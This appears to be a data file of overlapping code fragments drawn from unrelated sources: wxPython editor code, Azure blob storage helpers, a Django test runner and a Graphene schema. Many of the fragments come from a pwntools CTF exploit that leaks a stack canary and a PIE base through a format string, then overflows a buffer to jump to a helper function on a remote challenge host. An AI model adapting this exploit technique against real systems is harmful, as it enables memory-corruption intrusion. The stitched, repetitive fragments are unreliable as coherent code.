"= self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace with",
"\"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python"
] |
[
"p = remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary =",
"int(p.recv(10),16) - 95 log.info('main: ' + hex(main)) binary.address = main - binary.sym.main log.info('binary.address:",
"b'' payload += (0x21 - 0x10) * b'A' payload += p32(canary) payload +=",
"ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command:",
"= main - binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload = b'' payload +=",
"log.info('main: ' + hex(main)) binary.address = main - binary.sym.main log.info('binary.address: ' + hex(binary.address))",
"p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: ' + hex(canary))",
"pwn import * binary = context.binary = ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com',",
"+ hex(canary)) main = int(p.recv(10),16) - 95 log.info('main: ' + hex(main)) binary.address =",
"p32(canary) payload += (0x21 - len(payload)) * b'B' payload += p32(binary.sym.helperfunc) p.sendlineafter('?',payload) p.interactive()",
"= ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p')",
"binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload = b'' payload += (0x21 - 0x10)",
"payload += (0x21 - 0x10) * b'A' payload += p32(canary) payload += (0x21",
"= remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16)",
"canary = int(p.recv(10),16) log.info('canary: ' + hex(canary)) main = int(p.recv(10),16) - 95 log.info('main:",
"context.binary = ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path)",
"main = int(p.recv(10),16) - 95 log.info('main: ' + hex(main)) binary.address = main -",
"hex(main)) binary.address = main - binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload = b''",
"log.info('binary.address: ' + hex(binary.address)) payload = b'' payload += (0x21 - 0x10) *",
"import * binary = context.binary = ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002)",
"else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: ' +",
"= int(p.recv(10),16) log.info('canary: ' + hex(canary)) main = int(p.recv(10),16) - 95 log.info('main: '",
"#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./pie') if args.REMOTE:",
"hex(binary.address)) payload = b'' payload += (0x21 - 0x10) * b'A' payload +=",
"payload = b'' payload += (0x21 - 0x10) * b'A' payload += p32(canary)",
"0x10) * b'A' payload += p32(canary) payload += (0x21 - len(payload)) * b'B'",
"' + hex(main)) binary.address = main - binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload",
"args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary",
"process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: ' + hex(canary)) main =",
"= context.binary = ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p =",
"log.info('canary: ' + hex(canary)) main = int(p.recv(10),16) - 95 log.info('main: ' + hex(main))",
"from pwn import * binary = context.binary = ELF('./pie') if args.REMOTE: p =",
"- 95 log.info('main: ' + hex(main)) binary.address = main - binary.sym.main log.info('binary.address: '",
"hex(canary)) main = int(p.recv(10),16) - 95 log.info('main: ' + hex(main)) binary.address = main",
"main - binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload = b'' payload += (0x21",
"* binary = context.binary = ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else:",
"- binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload = b'' payload += (0x21 -",
"+ hex(binary.address)) payload = b'' payload += (0x21 - 0x10) * b'A' payload",
"+= (0x21 - 0x10) * b'A' payload += p32(canary) payload += (0x21 -",
"* b'A' payload += p32(canary) payload += (0x21 - len(payload)) * b'B' payload",
"+= p32(canary) payload += (0x21 - len(payload)) * b'B' payload += p32(binary.sym.helperfunc) p.sendlineafter('?',payload)",
"' + hex(canary)) main = int(p.recv(10),16) - 95 log.info('main: ' + hex(main)) binary.address",
"remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary:",
"') canary = int(p.recv(10),16) log.info('canary: ' + hex(canary)) main = int(p.recv(10),16) - 95",
"int(p.recv(10),16) log.info('canary: ' + hex(canary)) main = int(p.recv(10),16) - 95 log.info('main: ' +",
"payload += p32(canary) payload += (0x21 - len(payload)) * b'B' payload += p32(binary.sym.helperfunc)",
"binary = context.binary = ELF('./pie') if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p",
"= int(p.recv(10),16) - 95 log.info('main: ' + hex(main)) binary.address = main - binary.sym.main",
"b'A' payload += p32(canary) payload += (0x21 - len(payload)) * b'B' payload +=",
"if args.REMOTE: p = remote('pwnremote.threatsims.com', 9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ')",
"python3 from pwn import * binary = context.binary = ELF('./pie') if args.REMOTE: p",
"= process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: ' + hex(canary)) main",
"(0x21 - 0x10) * b'A' payload += p32(canary) payload += (0x21 - len(payload))",
"95 log.info('main: ' + hex(main)) binary.address = main - binary.sym.main log.info('binary.address: ' +",
"= b'' payload += (0x21 - 0x10) * b'A' payload += p32(canary) payload",
"p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: ' + hex(canary)) main = int(p.recv(10),16)",
"- 0x10) * b'A' payload += p32(canary) payload += (0x21 - len(payload)) *",
"' + hex(binary.address)) payload = b'' payload += (0x21 - 0x10) * b'A'",
"p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: ' + hex(canary)) main = int(p.recv(10),16) -",
"9002) else: p = process(binary.path) p.sendlineafter('?\\n','%11$10p%15$10p') p.recvuntil('command: ') canary = int(p.recv(10),16) log.info('canary: '",
"binary.address = main - binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload = b'' payload",
"<gh_stars>100-1000 #!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./pie') if",
"+ hex(main)) binary.address = main - binary.sym.main log.info('binary.address: ' + hex(binary.address)) payload ="
] |
[
"str container in storage account to open blobName: str name of blob in",
"storage. Parameters ---------- data: str (text)data to upload containerName: str container in storage",
"json.loads(res.content) except: blobData = {} return blobData def save_text_file(data, containerName, blobName, accountName, accountKey):",
"str name of blob in container accountName: str name of storage account accountKey",
"name of blob in container to open accountName: str name of storage account",
"if the file is not found return an empty dictionary Parameters ---------- containerName:",
"def save_text_file(data, containerName, blobName, accountName, accountKey): ''' save a textfile to azure block",
"save_text_file(data, containerName, blobName, accountName, accountKey): ''' save a textfile to azure block blob",
"res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData = {} return blobData",
"containerName: str container in storage account to open blobName: str name of blob",
"accountKey access key for storage account Returns ------- ''' # Create BlockBlockService block_blob_service",
"specified from azure block blob storage. if the file is not found return",
"---------- data: str (text)data to upload containerName: str container in storage account blobName:",
"= BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading data from blob store. if",
"load_text_file(containerName, blobName, accountName, accountKey): ''' load the file specified from azure block blob",
"to open blobName: str name of blob in container to open accountName: str",
"to open accountName: str name of storage account accountKey access key for storage",
"blob storage. if the file is not found return an empty dictionary Parameters",
"containerName, blobName, accountName, accountKey): ''' save a textfile to azure block blob storage.",
"key for storage account Returns ------- dictionary ''' # Create BlockBlockService block_blob_service =",
"import json, os from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey):",
"blob storage. Parameters ---------- data: str (text)data to upload containerName: str container in",
"accountKey): ''' save a textfile to azure block blob storage. Parameters ---------- data:",
"if blob is not found return empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName)",
"------- ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) block_blob_service.create_blob_from_text(containerName, blobName,",
"azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): ''' load the file",
"found return empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except:",
"block blob storage. Parameters ---------- data: str (text)data to upload containerName: str container",
"a textfile to azure block blob storage. Parameters ---------- data: str (text)data to",
"the file specified from azure block blob storage. if the file is not",
"import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): ''' load the file specified",
"account accountKey access key for storage account Returns ------- dictionary ''' # Create",
"access key for storage account Returns ------- dictionary ''' # Create BlockBlockService block_blob_service",
"return an empty dictionary Parameters ---------- containerName: str container in storage account to",
"for storage account Returns ------- dictionary ''' # Create BlockBlockService block_blob_service = BlockBlobService(",
"dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData = {}",
"storage account blobName: str name of blob in container accountName: str name of",
"PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): ''' load the file specified from azure",
"Returns ------- ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) block_blob_service.create_blob_from_text(containerName,",
"def load_text_file(containerName, blobName, accountName, accountKey): ''' load the file specified from azure block",
"in container to open accountName: str name of storage account accountKey access key",
"{} return blobData def save_text_file(data, containerName, blobName, accountName, accountKey): ''' save a textfile",
"BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading data from blob store. if blob",
"to upload containerName: str container in storage account blobName: str name of blob",
"of blob in container accountName: str name of storage account accountKey access key",
"''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading",
"textfile to azure block blob storage. Parameters ---------- data: str (text)data to upload",
"return empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData",
"account Returns ------- ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey )",
"str name of blob in container to open accountName: str name of storage",
"name of storage account accountKey access key for storage account Returns ------- '''",
"storage account Returns ------- dictionary ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName,",
"accountKey access key for storage account Returns ------- dictionary ''' # Create BlockBlockService",
"not found return empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content)",
"accountName: str name of storage account accountKey access key for storage account Returns",
"json, os from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): '''",
"container to open accountName: str name of storage account accountKey access key for",
"blobName, accountName, accountKey): ''' save a textfile to azure block blob storage. Parameters",
") # try loading data from blob store. if blob is not found",
"data: str (text)data to upload containerName: str container in storage account blobName: str",
"BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): ''' load the file specified from",
"account to open blobName: str name of blob in container to open accountName:",
"store. if blob is not found return empty dict try: res = block_blob_service.get_blob_to_text(containerName,",
"storage account accountKey access key for storage account Returns ------- dictionary ''' #",
"an empty dictionary Parameters ---------- containerName: str container in storage account to open",
"storage account Returns ------- ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey",
"(text)data to upload containerName: str container in storage account blobName: str name of",
"str name of storage account accountKey access key for storage account Returns -------",
"os from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): ''' load",
"storage account accountKey access key for storage account Returns ------- ''' # Create",
"not found return an empty dictionary Parameters ---------- containerName: str container in storage",
"name of blob in container accountName: str name of storage account accountKey access",
"Returns ------- dictionary ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey )",
"blob in container accountName: str name of storage account accountKey access key for",
"loading data from blob store. if blob is not found return empty dict",
"---------- containerName: str container in storage account to open blobName: str name of",
"accountName, accountKey): ''' load the file specified from azure block blob storage. if",
"blobName: str name of blob in container to open accountName: str name of",
"of blob in container to open accountName: str name of storage account accountKey",
"storage. if the file is not found return an empty dictionary Parameters ----------",
"blobName) blobData = json.loads(res.content) except: blobData = {} return blobData def save_text_file(data, containerName,",
"''' load the file specified from azure block blob storage. if the file",
"is not found return an empty dictionary Parameters ---------- containerName: str container in",
"empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData =",
"blobName: str name of blob in container accountName: str name of storage account",
"of storage account accountKey access key for storage account Returns ------- dictionary '''",
"empty dictionary Parameters ---------- containerName: str container in storage account to open blobName:",
"# Utility functions to access azure data storage import json, os from azure.storage.blob",
"blob in container to open accountName: str name of storage account accountKey access",
"return blobData def save_text_file(data, containerName, blobName, accountName, accountKey): ''' save a textfile to",
"storage account to open blobName: str name of blob in container to open",
"azure data storage import json, os from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName,",
"= block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData = {} return blobData def",
"try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData = {} return",
"upload containerName: str container in storage account blobName: str name of blob in",
"try loading data from blob store. if blob is not found return empty",
"load the file specified from azure block blob storage. if the file is",
"blobData def save_text_file(data, containerName, blobName, accountName, accountKey): ''' save a textfile to azure",
"open blobName: str name of blob in container to open accountName: str name",
"is not found return empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData =",
"account accountKey access key for storage account Returns ------- ''' # Create BlockBlockService",
"blobData = {} return blobData def save_text_file(data, containerName, blobName, accountName, accountKey): ''' save",
"dictionary Parameters ---------- containerName: str container in storage account to open blobName: str",
"save a textfile to azure block blob storage. Parameters ---------- data: str (text)data",
"account Returns ------- dictionary ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey",
"BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading data from blob",
"account blobName: str name of blob in container accountName: str name of storage",
"functions to access azure data storage import json, os from azure.storage.blob import BlockBlobService,",
"in storage account blobName: str name of blob in container accountName: str name",
"str container in storage account blobName: str name of blob in container accountName:",
"block blob storage. if the file is not found return an empty dictionary",
"azure block blob storage. Parameters ---------- data: str (text)data to upload containerName: str",
"to azure block blob storage. Parameters ---------- data: str (text)data to upload containerName:",
"str (text)data to upload containerName: str container in storage account blobName: str name",
"file specified from azure block blob storage. if the file is not found",
"Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading data from",
"# Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading data",
"blobName, accountName, accountKey): ''' load the file specified from azure block blob storage.",
"container in storage account to open blobName: str name of blob in container",
"dictionary ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) # try",
"data from blob store. if blob is not found return empty dict try:",
"block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) # try loading data from blob store.",
"= {} return blobData def save_text_file(data, containerName, blobName, accountName, accountKey): ''' save a",
"from azure block blob storage. if the file is not found return an",
"accountName, accountKey): ''' save a textfile to azure block blob storage. Parameters ----------",
"blob store. if blob is not found return empty dict try: res =",
"azure block blob storage. if the file is not found return an empty",
"of storage account accountKey access key for storage account Returns ------- ''' #",
"in container accountName: str name of storage account accountKey access key for storage",
"file is not found return an empty dictionary Parameters ---------- containerName: str container",
"key for storage account Returns ------- ''' # Create BlockBlockService block_blob_service = BlockBlobService(",
"accountKey): ''' load the file specified from azure block blob storage. if the",
"from blob store. if blob is not found return empty dict try: res",
"block_blob_service.get_blob_to_text(containerName, blobName) blobData = json.loads(res.content) except: blobData = {} return blobData def save_text_file(data,",
"blobData = json.loads(res.content) except: blobData = {} return blobData def save_text_file(data, containerName, blobName,",
"containerName: str container in storage account blobName: str name of blob in container",
"''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) block_blob_service.create_blob_from_text(containerName, blobName, data)",
"except: blobData = {} return blobData def save_text_file(data, containerName, blobName, accountName, accountKey): '''",
"# try loading data from blob store. if blob is not found return",
"account_key=accountKey ) # try loading data from blob store. if blob is not",
"''' save a textfile to azure block blob storage. Parameters ---------- data: str",
"= json.loads(res.content) except: blobData = {} return blobData def save_text_file(data, containerName, blobName, accountName,",
"container in storage account blobName: str name of blob in container accountName: str",
"storage import json, os from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName,",
"Utility functions to access azure data storage import json, os from azure.storage.blob import",
"data storage import json, os from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName,",
"from azure.storage.blob import BlockBlobService, PublicAccess def load_text_file(containerName, blobName, accountName, accountKey): ''' load the",
"in storage account to open blobName: str name of blob in container to",
"open accountName: str name of storage account accountKey access key for storage account",
"account_name=accountName, account_key=accountKey ) # try loading data from blob store. if blob is",
"found return an empty dictionary Parameters ---------- containerName: str container in storage account",
"for storage account Returns ------- ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName,",
"access key for storage account Returns ------- ''' # Create BlockBlockService block_blob_service =",
"Parameters ---------- data: str (text)data to upload containerName: str container in storage account",
"to access azure data storage import json, os from azure.storage.blob import BlockBlobService, PublicAccess",
"access azure data storage import json, os from azure.storage.blob import BlockBlobService, PublicAccess def",
"container accountName: str name of storage account accountKey access key for storage account",
"Parameters ---------- containerName: str container in storage account to open blobName: str name",
"name of storage account accountKey access key for storage account Returns ------- dictionary",
"the file is not found return an empty dictionary Parameters ---------- containerName: str",
"------- dictionary ''' # Create BlockBlockService block_blob_service = BlockBlobService( account_name=accountName, account_key=accountKey ) #",
"blob is not found return empty dict try: res = block_blob_service.get_blob_to_text(containerName, blobName) blobData"
] |
[
"test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return",
"os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if __name__ == '__main__':",
"failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\",",
"import os import subprocess import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip",
"try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test",
"-r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode()))",
"successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv +",
"python import os import subprocess import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try:",
"import subprocess import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r",
"installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv",
"dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation successful.\\n\") return True def",
"test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc:",
"as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation",
"install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation",
"except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test",
"from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if __name__ == '__main__': if install_dependencies():",
"dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR:",
"install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError",
"stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else:",
"Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation successful.\\n\") return True",
"print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation successful.\\n\") return",
"subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency",
"shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False",
"return False else: print(\"Test dependency installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\")",
"print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as",
"return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test'])",
"django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if __name__ == '__main__': if install_dependencies(): run_django_tests()",
"def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT) except",
"print(\"Test dependency installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import",
"\"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if __name__ == '__main__': if",
"False else: print(\"Test dependency installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from",
"import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True,",
"exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation successful.\\n\")",
"else: print(\"Test dependency installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management",
"True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if",
"#!/usr/bin/env python import os import subprocess import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\")",
"installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency installation successful.\\n\") return True def run_django_tests():",
"run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if __name__ ==",
"os import subprocess import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install",
"subprocess import sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\",",
"<filename>run_tests.py #!/usr/bin/env python import os import subprocess import sys def install_dependencies(): print(\"\\nInstalling test",
"subprocess.CalledProcessError as exc: print(\"ERROR: Test dependency installation failed.\\n{}\\n\".format(exc.output.decode())) return False else: print(\"Test dependency",
"sys def install_dependencies(): print(\"\\nInstalling test dependencies...\\n\") try: subprocess.check_output(\"pip install -r test_requirements.txt\", shell=True, stderr=subprocess.STDOUT)",
"dependency installation successful.\\n\") return True def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line",
"def run_django_tests(): os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_test_app.settings\") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv + ['test']) if __name__"
] |
[
"Query(AbstractType): book = relay.Node.Field(BookNode) book_page = relay.Node.Field(BookPageNode) all_books = DjangoFilterConnectionField(BookNode) all_pages = DjangoFilterConnectionField(BookPageNode)",
"'page_number': ['exact'], } interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class Meta: model =",
"from graphene import relay, ObjectType, AbstractType from graphene_django import DjangoObjectType from graphene_django.filter import",
"ObjectType, AbstractType from graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models import",
"'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces = (relay.Node, ) class Query(AbstractType):",
"filter_fields = { 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'],",
"['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces = (relay.Node,",
"= { 'book_number': ['exact'], 'page_number': ['exact'], } interfaces = (relay.Node, ) class BookNode(DjangoObjectType):",
"{ 'book_number': ['exact'], 'page_number': ['exact'], } interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class",
"} interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class Meta: model = Book filter_fields",
"'istartswith'], 'category': ['exact'], } interfaces = (relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode)",
"-*- coding: utf-8 -*- from graphene import relay, ObjectType, AbstractType from graphene_django import",
"'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces = (relay.Node, ) class",
"Meta: model = Book filter_fields = { 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact',",
"import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models import Book, BookPage class BookPageNode(DjangoObjectType):",
"class BookNode(DjangoObjectType): class Meta: model = Book filter_fields = { 'title': ['exact', 'icontains',",
"utf-8 -*- from graphene import relay, ObjectType, AbstractType from graphene_django import DjangoObjectType from",
"class Meta: model = BookPage filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'], }",
"'book_number': ['exact'], 'page_number': ['exact'], } interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class Meta:",
"AbstractType from graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models import Book,",
"graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models import Book, BookPage class",
"graphene_django.filter import DjangoFilterConnectionField from .models import Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model",
"BookNode(DjangoObjectType): class Meta: model = Book filter_fields = { 'title': ['exact', 'icontains', 'istartswith'],",
"Book filter_fields = { 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category':",
"# -*- coding: utf-8 -*- from graphene import relay, ObjectType, AbstractType from graphene_django",
"from graphene_django.filter import DjangoFilterConnectionField from .models import Book, BookPage class BookPageNode(DjangoObjectType): class Meta:",
"['exact'], } interfaces = (relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode) book_page =",
"DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models import Book, BookPage class BookPageNode(DjangoObjectType): class",
"interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class Meta: model = Book filter_fields =",
"relay, ObjectType, AbstractType from graphene_django import DjangoObjectType from graphene_django.filter import DjangoFilterConnectionField from .models",
"'icontains', 'istartswith'], 'category': ['exact'], } interfaces = (relay.Node, ) class Query(AbstractType): book =",
"['exact'], } interfaces = (relay.Node, ) class BookNode(DjangoObjectType): class Meta: model = Book",
"{ 'title': ['exact', 'icontains', 'istartswith'], 'author': ['exact', 'icontains', 'istartswith'], 'category': ['exact'], } interfaces",
"= BookPage filter_fields = { 'book_number': ['exact'], 'page_number': ['exact'], } interfaces = (relay.Node,",
") class BookNode(DjangoObjectType): class Meta: model = Book filter_fields = { 'title': ['exact',",
"import DjangoFilterConnectionField from .models import Book, BookPage class BookPageNode(DjangoObjectType): class Meta: model =",
"'category': ['exact'], } interfaces = (relay.Node, ) class Query(AbstractType): book = relay.Node.Field(BookNode) book_page",
"-*- from graphene import relay, ObjectType, AbstractType from graphene_django import DjangoObjectType from graphene_django.filter",
